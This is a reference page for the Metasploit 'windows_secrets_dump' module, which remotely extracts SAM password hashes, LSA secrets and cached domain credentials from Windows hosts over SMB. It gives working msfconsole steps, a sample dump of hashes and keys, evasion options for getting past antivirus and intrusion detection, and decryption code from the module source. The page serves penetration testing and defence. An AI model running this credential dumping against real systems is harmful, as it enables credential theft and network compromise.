Windows Secrets Dump - Metasploit


This page contains detailed information about how to use the auxiliary/gather/windows_secrets_dump metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Windows Secrets Dump
Module: auxiliary/gather/windows_secrets_dump
Source code: modules/auxiliary/gather/windows_secrets_dump.rb
Disclosure date: -
Last modification time: 2022-10-13 10:13:27 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: microsoft-ds, netbios-ssn
Target network port(s): 139, 445
List of CVEs: -

Dumps SAM hashes and LSA secrets (including cached creds) from the remote Windows target without executing any agent locally. First, it reads as much data as possible from the registry and then save the hives locally on the target (%SYSTEMROOT%\random.tmp). Finally, it downloads the temporary hive files and reads the rest of the data from it. This temporary files are removed when it's done. This modules takes care of starting or enabling the Remote Registry service if needed. It will restore the service to its original state when it's done. This is a port of the great Impacket secretsdump.py code written by Alberto Solino. Note that the NTDS.dit technique has not been implement yet. It will be done in a next iteration.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Side Effects:

  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).

Basic Usage


msf > use auxiliary/gather/windows_secrets_dump
msf auxiliary(windows_secrets_dump) > show targets
    ... a list of targets ...
msf auxiliary(windows_secrets_dump) > set TARGET target-id
msf auxiliary(windows_secrets_dump) > show options
    ... show and set options ...
msf auxiliary(windows_secrets_dump) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Vulnerable Application


Description

The windows_secrets_dump auxiliary module dumps SAM hashes and LSA secrets (including cached creds) from the remote Windows target without executing any agent locally. First, it reads as much data as possible from the registry and then save the hives locally on the target (%SYSTEMROOT%\random.tmp). Finally, it downloads the temporary hive files and reads the rest of the data from it. These temporary files are removed when it's done.

This modules takes care of starting or enabling the Remote Registry service if needed. It will restore the service to its original state when it's done.

This is a port of the great Impacket secretsdump.py code written by Alberto Solino. Note that the NTDS.dit technique has not been implement yet. It will be done in a next iteration.

Setup

A privileged user is required to run this module, typically a local or domain Administrator. It has been tested against multiple Windows versions, from Windows XP/Server 2003 to Windows 10/Server version 2004.

Verification Steps


  1. Start msfconsole
  2. Do: use auxiliary/gather/windows_secrets_dump
  3. Do: set RHOSTS <target> (Windows host)
  4. Do: set SMBUser <username> (privileged user)
  5. Do: set SMBDomain <domain name> (only for domain users)
  6. Do: set SMBPass <password>
  7. Do: run
  8. You should get the dump result displayed
  9. Do: hosts
  10. Verify the host information is there
  11. Do: services
  12. Verify the service information is there
  13. Do: creds
  14. Verify the dumped credentials are there
  15. Do: notes
  16. Verify the notes are there

Options


Apart from the standard SMB options, no other specific options are needed.

Scenarios


The data shown below has been altered with random data to avoid exposing sensitive information.

Windows 10 Version 1809

msf6 > use auxiliary/gather/windows_secrets_dump
msf6 auxiliary(gather/windows_secrets_dump) > options

Module options (auxiliary/gather/windows_secrets_dump):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
   RPORT      445              yes       The target port (TCP)
   SMBDomain  .                no        The Windows domain to use for authentication
   SMBPass                     no        The password for the specified username
   SMBUser                     no        The username to authenticate as

msf6 auxiliary(gather/windows_secrets_dump) > set RHOSTS 192.68.43.12
RHOSTS => 192.68.43.12
msf6 auxiliary(gather/windows_secrets_dump) > set SMBUser msfuser
SMBUser => msfuser
msf6 auxiliary(gather/windows_secrets_dump) > set SMBPass mypasswd
SMBPass => mypasswd
msf6 auxiliary(gather/windows_secrets_dump) > run
[*] Running module against 192.68.43.12

[*] 192.68.43.12:445 - Service RemoteRegistry is in stopped state
[*] 192.68.43.12:445 - Starting service...
[*] 192.68.43.12:445 - Retrieving target system bootKey
[+] 192.68.43.12:445 - bootKey: 0x3d354aa5e14d4360a1cc378a9e47338c
[*] 192.68.43.12:445 - Saving remote SAM database
[*] 192.68.43.12:445 - Dumping SAM hashes
[*] 192.68.43.12:445 - Password hints:
No users with password hints on this system
[*] 192.68.43.12:445 - Password hashes (pwdump format - uid:rid:lmhash:nthash:::):
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:b7759c83c817e8b0082fb322bce0073b:::
msfuser:1001:aad3b435b51404eeaad3b435b51404ee:035ad5f5a5c251c6fc3ba367bee86858:::
[*] 192.68.43.12:445 - Saving remote SECURITY database
[*] 192.68.43.12:445 - Decrypting LSA Key
[*] 192.68.43.12:445 - Dumping LSA Secrets
$MACHINE.ACC
MYDOMAIN\MYDESKTOP$:aes256-cts-hmac-sha1-96:8f84e173f9a44708b56806e3d5ee9fa4d21c8edd0da7d29d64cf6122de399b07
MYDOMAIN\MYDESKTOP$:aes128-cts-hmac-sha1-96:324719fca31fb90274acbd0bf07abf00
MYDOMAIN\MYDESKTOP$:des-cbc-md5:7561afef18d6e7bb
MYDOMAIN\MYDESKTOP$:aad3b435b51404eeaad3b435b51404ee:0cb18b83ab17e808b6604175784e8ec2:::

DPAPI_SYSTEM
dpapi_machinekey: 0xa197fe18d264c79b0996b3a987fcd6ea3b6191a6
dpapi_userkey: 0xab025408f16dc46e6ba79a559751ea4890daf97b

L$ASP.NETAutoGenKeysV44.0.30319.0
09 5a a2 cf 23 a2 09 ee 4e 55 7b e4 53 98 5c 6c    |.Z..#...NU{.S.\l|
6d cb 41 00 c8 18 4a 58 95 15 c6 56 98 fe da 79    |m.A...JX...V...y|
71 d8 43 50 6f 23 f7 0b b9 97 50 d8 b2 a4 4c c9    |q.CPo#....P...L.|
43 e6 45 23 ec ec 43 72 8c 1f 50 ad 52 a2 64 92    |C.E#..Cr..P.R.d.|
4a 03 8e be b6 fc 85 4b 65 e3 d0 c7 66 34 0b 14    |J......Ke...f4..|
13 ae e7 13 c8 25 6b f1 be 55 a4 fe de fa 4b 1d    |.....%k..U....K.|
0a f5 4d 68 ea 3c 3b 65 d1 69 eb 70 5b 7d 35 1c    |..Mh.<;e.i.p[}5.|
97 d6 e0 d1 15 65 4e 52 dc 1e 11 9e 35 6a 82 59    |.....eNR....5j.Y|
30 98 e1 d2 64 0e 2c 2b 4c dd e6 fd 02 36 21 c1    |0...d.,+L....6!.|
54 e0 18 7c e0 56 ee 25 4b ab b9 75 70 d2 cf c9    |T..|.V.%K..up...|
38 8e 06 20 31 75 ca 52 d3 9f 6d 99 80 9c f1 ab    |8.. 1u.R..m.....|
56 51 e3 de 62 be d4 bb ce f7 6b 9c f5 88 74 a7    |VQ..b.....k...t.|
54 29 51 47 3b e2 9b 7a                            |T)QG;..z|
Hex string: 095aa2cf23a209ee4e557be453985c6c6dcb4100c8184a589515c65698feda7971d843506f23f70bb99750d8b2a44cc943e64523ecec43728c1f50ad52a264924a038ebeb6fc854b65e3d0c766340b1413aee713c8256bf1be55a4fedefa4b1d0af54d68ea3c3b65d169eb705b7d351c97d6e0d115654e52dc1e119e356a82593098e1d2640e2c2b4cdde6fd023621c154e0187ce056ee254babb97570d2cfc9388e06203175ca52d39f6d99809cf1ab5651e3de62bed4bbcef76b9cf58874a7542951473be29b7a

NL$KM
40 76 27 cd 14 f9 b3 6e a5 19 fd 03 bd c7 d9 99    |@v'....n........|
f2 b0 91 78 44 80 e7 b3 7d b6 4f 26 0a 61 8c 6f    |...xD...}.O&.a.o|
c5 20 e2 65 de ef 98 13 92 e8 db c9 51 3b 5a c2    |. .e........Q;Z.|
fd 19 66 e6 e9 cd 4f 11 ec 08 82 1b 16 be 41 38    |..f...O.......A8|
Hex string: 407627cd14f9b36ea519fd03bdc7d999f2b091784480e7b37db64f260a618c6fc520e265deef981392e8dbc9513b5ac2fd1966e6e9cd4f11ec08821b16be4138

[*] 192.68.43.12:445 - Decrypting NL$KM
[*] 192.68.43.12:445 - Dumping cached hashes
[*] 192.68.43.12:445 - Hashes are in 'mscash2' format
MYDOMAIN/msfuser:$DCC2$10240#msfuser#86d8081dd11a232080037a83f2165732:MYDOMAIN.INTERNAL:MYDOMAIN

[*] 192.68.43.12:445 - Cleaning up...
[*] 192.68.43.12:445 - Stopping service RemoteRegistry...
[*] Auxiliary module execution completed
msf6 auxiliary(gather/windows_secrets_dump) > hosts

Hosts
=====

address        mac  name             os_name  os_flavor  os_sp  purpose  info  comments
-------        ---  ----             -------  ---------  -----  -------  ----  --------
192.68.43.12       MYDESKTOP  Unknown                    device

msf6 auxiliary(gather/windows_secrets_dump) > services
Services
========

host           port  proto  name  state  info
----           ----  -----  ----  -----  ----
192.68.43.12  445   tcp    smb   open   Module: auxiliary/gather/windows_secrets_dump, last negotiated version: SMBv3 (dialect = 0x0311)

msf6 auxiliary(gather/windows_secrets_dump) > creds
Credentials
===========

host          origin        service        public               private                                                                                          realm     private_type        JtR Format
----          ------        -------        ------               -------                                                                                          -----     ------------        ----------
192.68.43.12  192.68.43.12  445/tcp (smb)  MYDOMAIN\msfuser     MYDOMAIN/msfuser:$DCC2$10240#msfuser#86d8081dd11a232080037a83f2165732:MYDOMAIN.INTE (TRUNCATED)  MYDOMAIN  Nonreplayable hash  mscash2
192.68.43.12  192.68.43.12  445/tcp (smb)  Guest                aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0                                          NTLM hash           nt,lm
192.68.43.12  192.68.43.12  445/tcp (smb)  Administrator        aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0                                          NTLM hash           nt,lm
192.68.43.12  192.68.43.12  445/tcp (smb)  WDAGUtilityAccount   aad3b435b51404eeaad3b435b51404ee:b7759c83c817e8b0082fb322bce0073b                                          NTLM hash           nt,lm
192.68.43.12  192.68.43.12  445/tcp (smb)  msfuser              aad3b435b51404eeaad3b435b51404ee:035ad5f5a5c251c6fc3ba367bee86858                                          NTLM hash           nt,lm
192.68.43.12  192.68.43.12  445/tcp (smb)  MYDOMAIN\MYDESKTOP$  aad3b435b51404eeaad3b435b51404ee:0cb18b83ab17e808b6604175784e8ec2                                MYDOMAIN  NTLM hash           nt,lm
192.68.43.12  192.68.43.12  445/tcp (smb)  MYDOMAIN\MYDESKTOP$  MYDOMAIN\MYDESKTOP$:aes256-cts-hmac-sha1-96:8f84e173f9a44708b56806e3d5ee9fa4d21c8ed (TRUNCATED)  MYDOMAIN  Password
192.68.43.12  192.68.43.12  445/tcp (smb)  MYDOMAIN\MYDESKTOP$  MYDOMAIN\MYDESKTOP$:aes128-cts-hmac-sha1-96:324719fca31fb90274acbd0bf07abf00                     MYDOMAIN  Password
192.68.43.12  192.68.43.12  445/tcp (smb)  MYDOMAIN\MYDESKTOP$  MYDOMAIN\MYDESKTOP$:des-cbc-md5:7561afef18d6e7bb                                                 MYDOMAIN  Password
192.68.43.12  192.68.43.12  445/tcp (smb)  DefaultAccount       aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0                                          NTLM hash           nt,lm

msf6 auxiliary(gather/windows_secrets_dump) > notes

Notes
=====

 Time                     Host          Service  Port  Protocol  Type               Data
 ----                     ----          -------  ----  --------  ----               ----
 2020-08-13 12:20:16 UTC  192.68.43.12  smb      445   tcp       host.boot_key      "3d354aa5e14d4360a1cc378a9e47338c"
 2020-08-13 12:20:20 UTC  192.68.43.12  smb      445   tcp       host.lsa_key       "0483f343addb39221136da0a0f52397aef02e6ee5d8bd05d49390ab97e05dc45"
 2020-08-13 12:20:20 UTC  192.68.43.12  smb      445   tcp       dpapi.machine_key  "a197fe18d264c79b0996b3a987fcd6ea3b6191a6"
 2020-08-13 12:20:20 UTC  192.68.43.12  smb      445   tcp       dpapi.user_key     "ab025408f16dc46e6ba79a559751ea4890daf97b"
 2020-08-13 12:20:20 UTC  192.68.43.12  smb      445   tcp       host.nlkm_key      "40000000000000000000000000000000407627cd14f9b36ea519fd03bdc7d999f2b091784480e7b37db64f260a618c6fc520e265deef981392e8dbc9513b5ac2fd1966e6e9cd4f11ec08821b16be4138e0dd79c41522331dcc5005d731c1738f"
 2020-08-13 12:20:21 UTC  192.68.43.12  smb      445   tcp       user.cache_info    "Username: msfuser; Iteration count: 10 -> real 10240; Last login: 2020-08-01 20:00:02 +0100; DNS Domain Name: MYDOMAIN.INTERNAL; UPN: [email protected]; Effective Name: msfuser; Full Name: msfuser; Logon Script: ; Profile Path: ; Home Directory: ; Home Directory Drive: ; User ID: 1004; Primary Group ID: 513; Additional groups: 513; Logon domain name: MYDOMAIN"

Go back to menu.

Msfconsole Usage


Here is how the gather/windows_secrets_dump auxiliary module looks in the msfconsole:

msf6 > use auxiliary/gather/windows_secrets_dump

msf6 auxiliary(gather/windows_secrets_dump) > show info

       Name: Windows Secrets Dump
     Module: auxiliary/gather/windows_secrets_dump
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  Alberto Solino
  Christophe De La Fuente

Check supported:
  No

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      445              yes       The target port (TCP)
  SMBDomain  .                no        The Windows domain to use for authentication
  SMBPass                     no        The password for the specified username
  SMBUser                     no        The username to authenticate as

Description:
  Dumps SAM hashes and LSA secrets (including cached creds) from the 
  remote Windows target without executing any agent locally. First, it 
  reads as much data as possible from the registry and then save the 
  hives locally on the target (%SYSTEMROOT%\random.tmp). Finally, it 
  downloads the temporary hive files and reads the rest of the data 
  from it. This temporary files are removed when it's done. This 
  modules takes care of starting or enabling the Remote Registry 
  service if needed. It will restore the service to its original state 
  when it's done. This is a port of the great Impacket 
  `secretsdump.py` code written by Alberto Solino. Note that the 
  `NTDS.dit` technique has not been implement yet. It will be done in 
  a next iteration.

References:
  https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py

Module Options


This is a complete list of options available in the gather/windows_secrets_dump auxiliary module:

msf6 auxiliary(gather/windows_secrets_dump) > show options

Module options (auxiliary/gather/windows_secrets_dump):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      445              yes       The target port (TCP)
   SMBDomain  .                no        The Windows domain to use for authentication
   SMBPass                     no        The password for the specified username
   SMBUser                     no        The username to authenticate as

Advanced Options


Here is a complete list of advanced options supported by the gather/windows_secrets_dump auxiliary module:

msf6 auxiliary(gather/windows_secrets_dump) > show advanced

Module advanced options (auxiliary/gather/windows_secrets_dump):

   Name                    Current Setting    Required  Description
   ----                    ---------------    --------  -----------
   CHOST                                      no        The local client address
   CPORT                                      no        The local client port
   ConnectTimeout          10                 yes       Maximum number of seconds to establish a TCP connection
   DCERPC::ReadTimeout     10                 yes       The number of seconds to wait for DCERPC responses
   NTLM::SendLM            true               yes       Always send the LANMAN response (except when NTLMv2_session is specified)
   NTLM::SendNTLM          true               yes       Activate the 'Negotiate NTLM key' flag, indicating the use of NTLM responses
   NTLM::SendSPN           true               yes       Send an avp of type SPN in the ntlmv2 client blob, this allows authentication on Windows 7+/Server 2008 R2+ when SPN is required
   NTLM::UseLMKey          false              yes       Activate the 'Negotiate Lan Manager Key' flag, using the LM key when the LM response is sent
   NTLM::UseNTLM2_session  true               yes       Activate the 'Negotiate NTLM2 key' flag, forcing the use of a NTLMv2_session
   NTLM::UseNTLMv2         true               yes       Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key is true
   Proxies                                    no        A proxy chain of format type:host:port[,type:host:port][...]
   SMB::AlwaysEncrypt      true               yes       Enforces encryption even if the server does not require it (SMB3.x only). Note that when it is set to false, the SMB client will still encrypt the communication if the server requires it
   SMB::ChunkSize          500                yes       The chunk size for SMB segments, bigger values will increase speed but break NT 4.0 and SMB signing
   SMB::Native_LM          Windows 2000 5.0   yes       The Native LM to send during authentication
   SMB::Native_OS          Windows 2000 2195  yes       The Native OS to send during authentication
   SMB::ProtocolVersion    1,2,3              yes       One or a list of coma-separated SMB protocol versions to negotiate (e.g. "1" or "1,2" or "2,3,1")
   SMB::VerifySignature    false              yes       Enforces client-side verification of server response signatures
   SMBDirect               true               no        The target port is a raw SMB service (not NetBIOS)
   SMBName                 *SMBSERVER         yes       The NetBIOS hostname (required for port 139 connections)
   SSL                     false              no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                                  no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode           PEER               no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion              Auto               yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   VERBOSE                 false              no        Enable detailed status messages
   WORKSPACE                                  no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the gather/windows_secrets_dump module can do:

msf6 auxiliary(gather/windows_secrets_dump) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the gather/windows_secrets_dump auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(gather/windows_secrets_dump) > show evasion

Module evasion options:

   Name                             Current Setting  Required  Description
   ----                             ---------------  --------  -----------
   DCERPC::fake_bind_multi          true             no        Use multi-context bind calls
   DCERPC::fake_bind_multi_append   0                no        Set the number of UUIDs to append the target
   DCERPC::fake_bind_multi_prepend  0                no        Set the number of UUIDs to prepend before the target
   DCERPC::max_frag_size            4096             yes       Set the DCERPC packet fragmentation size
   DCERPC::smb_pipeio               rw               no        Use a different delivery method for accessing named pipes (Accepted: rw, trans)
   SMB::obscure_trans_pipe_level    0                yes       Obscure PIPE string in TransNamedPipe (level 0-3)
   SMB::pad_data_level              0                yes       Place extra padding between headers and data (level 0-3)
   SMB::pad_file_level              0                yes       Obscure path names used in open/create (level 0-3)
   SMB::pipe_evasion                false            yes       Enable segmented read/writes for SMB Pipes
   SMB::pipe_read_max_size          1024             yes       Maximum buffer size for pipe reads
   SMB::pipe_read_min_size          1                yes       Minimum buffer size for pipe reads
   SMB::pipe_write_max_size         1024             yes       Maximum buffer size for pipe writes
   SMB::pipe_write_min_size         1                yes       Minimum buffer size for pipe writes
   TCP::max_send_size               0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay                  0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Unable to get the service RemoteRegistry state


Here is a relevant code snippet related to the "Unable to get the service RemoteRegistry state" error message:

156:	      end
157:	      print_status('Starting service...')
158:	      @svcctl.start_service_w(svc_handle)
159:	      @service_should_be_stopped = true
160:	    else
161:	      print_error('Unable to get the service RemoteRegistry state')
162:	    end
163:	  ensure
164:	    @svcctl.close_service_handle(svc_handle) if svc_handle
165:	  end
166:	

An error occured when retrieving class for <SUB_KEY>: <E>


Here is a relevant code snippet related to the "An error occured when retrieving class for <SUB_KEY>: <E>" error message:

176:	      query_info_key_response = @winreg.query_info_key(subkey_handle)
177:	      boot_key << query_info_key_response.lp_class.to_s.encode(::Encoding::ASCII_8BIT)
178:	      @winreg.close_key(subkey_handle)
179:	      subkey_handle = nil
180:	    rescue RubySMB::Dcerpc::Error::WinregError => e
181:	      vprint_error("An error occured when retrieving class for #{sub_key}: #{e}")
182:	      raise e
183:	    ensure
184:	      @winreg.close_key(subkey_handle) if subkey_handle
185:	    end
186:	    if boot_key.size != 32

bootKey must be 16-bytes long (hex string of 32 chars), got "<BOOT_KEY>" (<BOOT_KEY.SIZE> chars)


Here is a relevant code snippet related to the "bootKey must be 16-bytes long (hex string of 32 chars), got "<BOOT_KEY>" (<BOOT_KEY.SIZE> chars)" error message:

182:	      raise e
183:	    ensure
184:	      @winreg.close_key(subkey_handle) if subkey_handle
185:	    end
186:	    if boot_key.size != 32
187:	      vprint_error("bootKey must be 16-bytes long (hex string of 32 chars), got \"#{boot_key}\" (#{boot_key.size} chars)")
188:	      return ''.b
189:	    end
190:	
191:	    transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ]
192:	    boot_key = [boot_key].pack('H*')

LMHashes are not being stored


Here is a relevant code snippet related to the "LMHashes are not being stored" error message:

199:	
200:	  def lm_hash_not_stored?
201:	    vprint_status('Checking NoLMHash policy')
202:	    res = @winreg.read_registry_key_value('HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa', 'NoLmHash', bind: false)
203:	    if res == 1
204:	      vprint_status('LMHashes are not being stored')
205:	      return true
206:	    else
207:	      vprint_status('LMHashes are being stored')
208:	      return false
209:	    end

An error occured when checking NoLMHash policy: <E>


Here is a relevant code snippet related to the "An error occured when checking NoLMHash policy: <E>" error message:

206:	    else
207:	      vprint_status('LMHashes are being stored')
208:	      return false
209:	    end
210:	  rescue RubySMB::Dcerpc::Error::WinregError => e
211:	    vprint_warning("An error occured when checking NoLMHash policy: #{e}")
212:	  end
213:	
214:	  def save_registry_key(hive_name)
215:	    vprint_status("Create #{hive_name} key")
216:	    root_key_handle = @winreg.open_root_key('HKLM')

An error occured when saving <HIVE_NAME> key: <E>


Here is a relevant code snippet related to the "An error occured when saving <HIVE_NAME> key: <E>" error message:

219:	    file_name = "#{Rex::Text.rand_text_alphanumeric(8)}.tmp"
220:	    vprint_status("Save key to #{file_name}")
221:	    @winreg.save_key(new_key_handle, file_name)
222:	    file_name
223:	  rescue RubySMB::Dcerpc::Error::WinregError => e
224:	    vprint_error("An error occured when saving #{hive_name} key: #{e}")
225:	    raise e
226:	  ensure
227:	    @winreg.close_key(new_key_handle) if new_key_handle
228:	    @winreg.close_key(root_key_handle) if root_key_handle
229:	  end

An error occured when retrieving <HIVE_NAME> hive file: <E>


Here is a relevant code snippet related to the "An error occured when retrieving <HIVE_NAME> hive file: <E>" error message:

232:	    file_name = save_registry_key(hive_name)
233:	    tree2 = simple.client.tree_connect("\\\\#{sock.peerhost}\\ADMIN$")
234:	    file = tree2.open_file(filename: "System32\\#{file_name}", delete: true, read: true)
235:	    file.read
236:	  rescue RubySMB::Dcerpc::Error::WinregError => e
237:	    vprint_error("An error occured when retrieving #{hive_name} hive file: #{e}")
238:	    raise e
239:	  ensure
240:	    file.delete if file
241:	    file.close if file
242:	    tree2.disconnect! if tree2

Unknown hbootKey revision: <REVISION>


Here is a relevant code snippet related to the "Unknown hbootKey revision: <REVISION>" error message:

275:	      aes.key = boot_key
276:	      aes.padding = 0
277:	      aes.iv = value_data[0x78, 16]
278:	      aes.update(value_data[0x88, 16]) # we need only 16 bytes
279:	    else
280:	      print_warning("Unknown hbootKey revision: #{revision}")
281:	      ''.b
282:	    end
283:	  end
284:	
285:	  def enum_key(reg_parser, key)

Unable to extract LM hash


Here is a relevant code snippet related to the "Unable to extract LM hash" error message:

346:	      hashlm_len = user[:V][0xa0, 4]&.unpack('V')&.first
347:	      if hashlm_off && hashlm_len
348:	        hashlm_enc = user[:V][hashlm_off + 0xcc, hashlm_len]
349:	        user[:hashlm] = decrypt_user_hash(rid, hboot_key, hashlm_enc, sam_lmpass, sam_empty_lm)
350:	      else
351:	        print_error('Unable to extract LM hash')
352:	        user[:hashlm] = sam_empty_lm
353:	      end
354:	
355:	      hashnt_off = user[:V][0xa8, 4]&.unpack('V')&.first
356:	      hashnt_len = user[:V][0xac, 4]&.unpack('V')&.first

Unable to extract NT hash


Here is a relevant code snippet related to the "Unable to extract NT hash" error message:

356:	      hashnt_len = user[:V][0xac, 4]&.unpack('V')&.first
357:	      if hashnt_off && hashnt_len
358:	        hashnt_enc = user[:V][hashnt_off + 0xcc, hashnt_len]
359:	        user[:hashnt] = decrypt_user_hash(rid, hboot_key, hashnt_enc, sam_ntpass, sam_empty_nt)
360:	      else
361:	        print_error('Unable to extract NT hash')
362:	        user[:hashlm] = sam_empty_nt
363:	      end
364:	    end
365:	
366:	    users

Unknown user hash revision: <REVISION>


Here is a relevant code snippet related to the "Unknown user hash revision: <REVISION>" error message:

403:	      aes.key = hboot_key[0, 16]
404:	      aes.padding = 0
405:	      aes.iv = enc_hash[8, 16]
406:	      okey = aes.update(enc_hash[24, 16]) # we need only 16 bytes
407:	    else
408:	      print_error("Unknown user hash revision: #{revision}")
409:	      return default
410:	    end
411:	
412:	    des_k1, des_k2 = rid_to_key(rid)
413:	

Unable to get hbootKey


Here is a relevant code snippet related to the "Unable to get hbootKey" error message:

476:	
477:	  def dump_sam_hashes(reg_parser, boot_key)
478:	    print_status('Dumping SAM hashes')
479:	    hboot_key = get_hboot_key(reg_parser, boot_key)
480:	    unless hboot_key.present?
481:	      print_warning('Unable to get hbootKey')
482:	      return
483:	    end
484:	    users = get_user_keys(reg_parser)
485:	    decrypt_user_keys(hboot_key, users)
486:	

Error when reporting <VALUE> hash


Here is a relevant code snippet related to the "Error when reporting <VALUE> hash" error message:

499:	
500:	    print_status('Password hashes (pwdump format - uid:rid:lmhash:nthash:::):')
501:	    users.keys.sort { |a, b| a <=> b }.each do |rid|
502:	      hash = "#{users[rid][:hashlm].unpack('H*')[0]}:#{users[rid][:hashnt].unpack('H*')[0]}"
503:	      unless report_creds(users[rid][:Name], hash)
504:	        vprint_bad("Error when reporting #{users[rid][:Name]} hash")
505:	      end
506:	      print_line("#{users[rid][:Name]}:#{rid}:#{hash}:::")
507:	    end
508:	  end
509:	

No cashed entries


Here is a relevant code snippet related to the "No cashed entries" error message:

586:	
587:	  def dump_cached_hashes(reg_parser, nlkm_key)
588:	    print_status('Dumping cached hashes')
589:	    values = enum_values(reg_parser, '\\Cache')
590:	    unless values
591:	      print_status('No cashed entries')
592:	      return
593:	    end
594:	
595:	    values.delete('NL$Control')
596:	    iteration_count = nil

Error when reporting <LOGON_DOMAIN_NAME>\<USERNAME> hash (<CREDENTIAL_OPTS:JTR_FORMAT> format)


Here is a relevant code snippet related to the "Error when reporting <LOGON_DOMAIN_NAME>\<USERNAME> hash (<CREDENTIAL_OPTS:JTR_FORMAT> format)" error message:

671:	      else
672:	        jtr_hash = "M$#{username}##{cache_data.enc_hash.to_hex}:#{dns_domain_name}:#{logon_domain_name}"
673:	      end
674:	      credential_opts[:jtr_format] = identify_hash(jtr_hash)
675:	      unless report_creds("#{logon_domain_name}\\#{username}", jtr_hash, **credential_opts)
676:	        vprint_bad("Error when reporting #{logon_domain_name}\\#{username} hash (#{credential_opts[:jtr_format]} format)")
677:	      end
678:	      hashes << "#{logon_domain_name}\\#{username}:#{jtr_hash}\n"
679:	    end
680:	
681:	    if hashes.empty?

An error occured when getting <SERVICE_NAME> service account: <E>


Here is a relevant code snippet related to the "An error occured when getting <SERVICE_NAME> service account: <E>" error message:

694:	    svc_config = @svcctl.query_service_config(svc_handle)
695:	    return nil if svc_config.lp_service_start_name == :null
696:	
697:	    svc_config.lp_service_start_name.to_s
698:	  rescue RubySMB::Dcerpc::Error::SvcctlError => e
699:	    vprint_warning("An error occured when getting #{service_name} service account: #{e}")
700:	    return nil
701:	  ensure
702:	    @svcctl.close_service_handle(svc_handle) if svc_handle
703:	  end
704:	

An error occured when getting the default user name: <E>


Here is a relevant code snippet related to the "An error occured when getting the default user name: <E>" error message:

709:	        'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon',
710:	        'DefaultUserName',
711:	        bind: false
712:	      )
713:	    rescue RubySMB::Dcerpc::Error::WinregError => e
714:	      vprint_warning("An error occured when getting the default user name: #{e}")
715:	      return nil
716:	    end
717:	    return nil if username.nil? || username.empty?
718:	
719:	    username = username.encode(::Encoding::UTF_8)

An error occured when getting the default domain name: <E>


Here is a relevant code snippet related to the "An error occured when getting the default domain name: <E>" error message:

723:	        'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon',
724:	        'DefaultDomainName',
725:	        bind: false
726:	      )
727:	    rescue RubySMB::Dcerpc::Error::WinregError => e
728:	      vprint_warning("An error occured when getting the default domain name: #{e}")
729:	      domain = ''
730:	    end
731:	    username = "#{domain.encode(::Encoding::UTF_8)}\\#{username}" unless domain.nil? || domain.empty?
732:	    username
733:	  end

Unable to get the salt


Here is a relevant code snippet related to the "Unable to get the salt" error message:

842:	    vprint_status('Calculating machine account Kerberos keys')
843:	    # Attempt to create Kerberos keys from machine account (if possible)
844:	    secret = []
845:	    salt = get_machine_kerberos_salt
846:	    if salt.empty?
847:	      vprint_error('Unable to get the salt')
848:	      return ''
849:	    end
850:	
851:	    raw_secret = raw_secret.dup.force_encoding(::Encoding::UTF_16LE).encode(::Encoding::UTF_8, invalid: :replace).b
852:	

Error when reporting <ACCOUNT> default password


Here is a relevant code snippet related to the "Error when reporting <ACCOUNT> default password" error message:

885:	    elsif upper_name.start_with?('DEFAULTPASSWORD')
886:	      # We have to get the account this password is for
887:	      account = get_default_login_account || '(Unknown User)'
888:	      password = secret_item.dup.force_encoding(::Encoding::UTF_16LE).encode(::Encoding::UTF_8)
889:	      unless report_creds(account, password, type: :password)
890:	        vprint_bad("Error when reporting #{account} default password")
891:	      end
892:	      secret << "#{account}: #{password}"
893:	    elsif upper_name.start_with?('ASPNET_WP_PASSWORD')
894:	      secret = "ASPNET: #{secret_item}"
895:	    elsif upper_name.start_with?('DPAPI_SYSTEM')

